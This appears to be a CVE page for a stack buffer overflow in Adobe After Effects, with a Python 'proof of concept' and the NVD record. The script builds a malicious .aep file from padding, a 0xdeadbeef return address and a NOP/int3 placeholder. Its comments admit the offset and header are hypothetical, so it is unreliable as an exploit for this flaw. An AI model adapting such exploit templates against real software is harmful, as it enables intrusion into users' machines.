CVE-2026-34690

import struct # Proof of Concept for CVE-2026-34690 # This script generates a malicious file structure to trigger the stack overflow. # Note: Offset and specific header structure need to be adjusted based on actual file format analysis. def generate_malicious_file(filename): # The malicious payload (e.g., NOP sled + Shellcode) # Placeholder for calc.exe execution on Windows shellcode = b"\x90" * 100 + b"\xCC" * 4 # Padding to reach the return address offset # Assuming offset is 500 bytes (Hypothetical value) offset = b"A" * 500 # Overwrite return address (Hypothetical address) ret_addr = struct.pack('<L', 0xdeadbeef) # Construct the payload payload = offset + ret_addr + shellcode # Write to file (simulating a project file) with open(filename, 'wb') as f: # Write a minimal header if required by the parser f.write(b'HEADER_MAGIC') f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") if __name__ == "__main__": generate_malicious_file("exploit.aep")

{"cve": {"id": "CVE-2026-34690", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:38.820", "lastModified": "2026-05-13T19:42:49.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "After Effects versions 26.0, 25.6.4 and earlier are affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:after_effects:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.6.5", "matchCriteriaId": "D4959152-FD14-4F5C-9D18-3B556EF207AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:after_effects:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "A807979E-FFEF-4A32-8CB9-48422834FE82"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/after_effects/apsb26-48.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}